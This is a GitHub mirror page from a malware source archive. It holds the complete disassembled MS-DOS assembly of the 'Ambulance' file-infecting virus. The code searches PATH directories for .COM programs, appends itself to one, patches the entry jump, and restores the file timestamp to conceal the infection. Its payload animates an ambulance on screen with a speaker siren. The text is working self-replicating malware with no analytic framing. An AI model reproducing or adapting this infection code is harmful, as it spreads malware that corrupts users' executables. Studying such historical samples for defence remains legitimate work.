13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-27 09:28:25 +00:00
vxug-MalwareSourceCode/MSDOS/A-Index/Virus.MSDOS.Unknown.ambulanc.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

480 lines
11 KiB
NASM

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ AMBULANC ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 13-Feb-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0Ch
data_2e equ 49h
data_3e equ 6Ch
psp_envirn_seg equ 2Ch
data_20e equ 0C80h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
ambulanc proc far
start:
jmp loc_1
db 0
data_7 dw 0 ; Data table (indexed access)
db 44 dup (0)
loc_1:
;* call sub_1 ;*
db 0E8h, 01h, 00h
add [bp-7Fh],bx
out dx,al ; port 0, DMA-1 bas&add ch 0
add ax,[bx+di]
call sub_2
call sub_2
call sub_4
lea bx,[si+419h] ; Load effective addr
mov di,100h
mov al,[bx]
mov [di],al
mov ax,[bx+1]
mov [di+1],ax
jmp di ;*Register jump
loc_ret_2:
retn
ambulanc endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
call sub_3
mov al,byte ptr data_19[si]
or al,al ; Zero ?
jz loc_ret_2 ; Jump if zero
lea bx,[si+40Fh] ; Load effective addr
inc word ptr [bx]
lea dx,[si+428h] ; Load effective addr
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov data_12[si],ax
mov bx,data_12[si]
mov cx,3
lea dx,[si+414h] ; Load effective addr
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov al,data_10[si]
cmp al,0E9h
jne loc_3 ; Jump if not equal
mov dx,data_11[si]
mov bx,data_12[si]
add dx,3
xor cx,cx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov bx,data_12[si]
mov cx,6
lea dx,[si+41Ch] ; Load effective addr
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,data_13[si]
mov bx,data_14[si]
mov cx,data_15[si]
cmp ax,word ptr ds:[100h][si]
jne loc_3 ; Jump if not equal
cmp bx,word ptr ds:[102h][si]
jne loc_3 ; Jump if not equal
cmp cx,data_7[si]
je loc_4 ; Jump if equal
loc_3:
mov bx,data_12[si]
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
sub ax,3
mov data_9[si],ax
mov bx,data_12[si]
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
push cx
push dx
mov bx,data_12[si]
mov cx,319h
lea dx,[si+100h] ; Load effective addr
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov bx,data_12[si]
mov cx,3
lea dx,[si+414h] ; Load effective addr
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov bx,data_12[si]
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov bx,data_12[si]
mov cx,3
lea dx,[si+411h] ; Load effective addr
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
pop dx
pop cx
mov bx,data_12[si]
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
loc_4:
mov bx,data_12[si]
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ax,ds:psp_envirn_seg
mov es,ax
push ds
mov ax,40h
mov ds,ax
mov bp,ds:data_3e
pop ds
test bp,3
jz loc_7 ; Jump if zero
xor bx,bx ; Zero register
loc_5:
mov ax,es:[bx]
cmp ax,4150h
jne loc_6 ; Jump if not equal
cmp word ptr es:[bx+2],4854h
je loc_8 ; Jump if equal
loc_6:
inc bx
or ax,ax ; Zero ?
jnz loc_5 ; Jump if not zero
loc_7:
lea di,[si+428h] ; Load effective addr
jmp short loc_13
loc_8:
add bx,5
loc_9:
lea di,[si+428h] ; Load effective addr
loc_10:
mov al,es:[bx]
inc bx
or al,al ; Zero ?
jz loc_12 ; Jump if zero
cmp al,3Bh ; ';'
je loc_11 ; Jump if equal
mov [di],al
inc di
jmp short loc_10
loc_11:
cmp byte ptr es:[bx],0
je loc_12 ; Jump if equal
shr bp,1 ; Shift w/zeros fill
shr bp,1 ; Shift w/zeros fill
test bp,3
jnz loc_9 ; Jump if not zero
loc_12:
cmp byte ptr [di-1],5Ch ; '\'
je loc_13 ; Jump if equal
mov byte ptr [di],5Ch ; '\'
inc di
loc_13:
push ds
pop es
mov data_16[si],di
mov ax,2E2Ah
stosw ; Store ax to es:[di]
mov ax,4F43h
stosw ; Store ax to es:[di]
mov ax,4Dh
stosw ; Store ax to es:[di]
push es
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
mov ax,es
mov data_17[si],ax
mov data_18[si],bx
pop es
lea dx,[si+478h] ; Load effective addr
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
lea dx,[si+428h] ; Load effective addr
xor cx,cx ; Zero register
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jnc loc_14 ; Jump if carry=0
xor ax,ax ; Zero register
mov data_19[si],ax
jmp short loc_17
loc_14:
push ds
mov ax,40h
mov ds,ax
ror bp,1 ; Rotate
xor bp,ds:data_3e
pop ds
test bp,7
jz loc_15 ; Jump if zero
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_14 ; Jump if carry=0
loc_15:
mov di,data_16[si]
lea bx,[si+496h] ; Load effective addr
loc_16:
mov al,[bx]
inc bx
stosb ; Store al to es:[di]
or al,al ; Zero ?
jnz loc_16 ; Jump if not zero
loc_17:
mov bx,data_18[si]
mov ax,data_17[si]
push ds
mov ds,ax
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
pop ds
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
push es
mov ax,data_8[si]
and ax,7
cmp ax,6
jne loc_18 ; Jump if not equal
mov ax,40h
mov es,ax
mov ax,es:data_1e
or ax,ax ; Zero ?
jnz loc_18 ; Jump if not zero
inc word ptr es:data_1e
call sub_5
loc_18:
pop es
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push ds
mov di,0B800h
mov ax,40h
mov ds,ax
mov al,ds:data_2e
cmp al,7
jne loc_19 ; Jump if not equal
mov di,0B000h
loc_19:
mov es,di
pop ds
mov bp,0FFF0h
loc_20:
mov dx,0
mov cx,10h
locloop_21:
call sub_8
inc dx
loop locloop_21 ; Loop if cx > 0
call sub_7
call sub_9
inc bp
cmp bp,50h
jne loc_20 ; Jump if not equal
call sub_6
push ds
pop es
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
in al,61h ; port 61h, 8255 port B, read
and al,0FCh
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov dx,7D0h
test bp,4
jz loc_22 ; Jump if zero
mov dx,0BB8h
loc_22:
in al,61h ; port 61h, 8255 port B, read
test al,3
jnz loc_23 ; Jump if not zero
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
loc_23:
mov ax,dx
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push cx
push dx
lea bx,[si+3BFh] ; Load effective addr
add bx,dx
add dx,bp
or dx,dx ; Zero ?
js loc_26 ; Jump if sign=1
cmp dx,50h
jae loc_26 ; Jump if above or =
mov di,data_20e
add di,dx
add di,dx
sub dx,bp
mov cx,5
locloop_24:
mov ah,7
mov al,[bx]
sub al,7
add al,cl
sub al,dl
cmp cx,5
jne loc_25 ; Jump if not equal
mov ah,0Fh
test bp,3
jz loc_25 ; Jump if zero
mov al,20h ; ' '
loc_25:
stosw ; Store ax to es:[di]
add bx,10h
add di,9Eh
loop locloop_24 ; Loop if cx > 0
loc_26:
pop dx
pop cx
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push ds
mov ax,40h
mov ds,ax
mov ax,ds:data_3e
loc_28:
cmp ax,ds:data_3e
je loc_28 ; Jump if equal
pop ds
retn
sub_9 endp
and ah,[bp+di]
and al,25h ; '%'
db 26h, 27h, 28h, 29h, 66h, 87h
db 3Bh, 2Dh, 2Eh, 2Fh, 30h, 31h
db 23h,0E0h,0E1h,0E2h,0E3h,0E4h
db 0E5h,0E6h,0E7h,0E7h,0E9h,0EAh
db 0EBh
db 30h
data_8 dw 3231h ; Data table (indexed access)
db 24h
data_9 dw 0E1E0h ; Data table (indexed access)
data_10 db 0E2h ; Data table (indexed access)
data_11 dw 0E8E3h ; Data table (indexed access)
data_12 dw 0EA2Ah ; Data table (indexed access)
db 0E7h,0E8h,0E9h
data_13 dw 302Fh ; Data table (indexed access)
data_14 dw 326Dh ; Data table (indexed access)
data_15 dw 2533h ; Data table (indexed access)
data_16 dw 0E2E1h ; Data table (indexed access)
data_17 dw 0E4E3h ; Data table (indexed access)
data_18 dw 0E7E5h ; Data table (indexed access)
data_19 dw 0E8E7h ; Data table (indexed access)
db 0E9h,0EAh,0EBh,0ECh,0EDh,0EEh
db 0EFh, 26h,0E6h,0E7h, 29h, 59h
db 5Ah, 2Ch,0ECh,0EDh,0EEh,0EFh
db 0F0h, 32h, 62h, 34h,0F4h, 0Ah
db 00h,0E9h, 2Fh, 00h,0CDh, 20h
db 00h, 05h, 00h,0CDh, 20h, 00h
seg_a ends
end start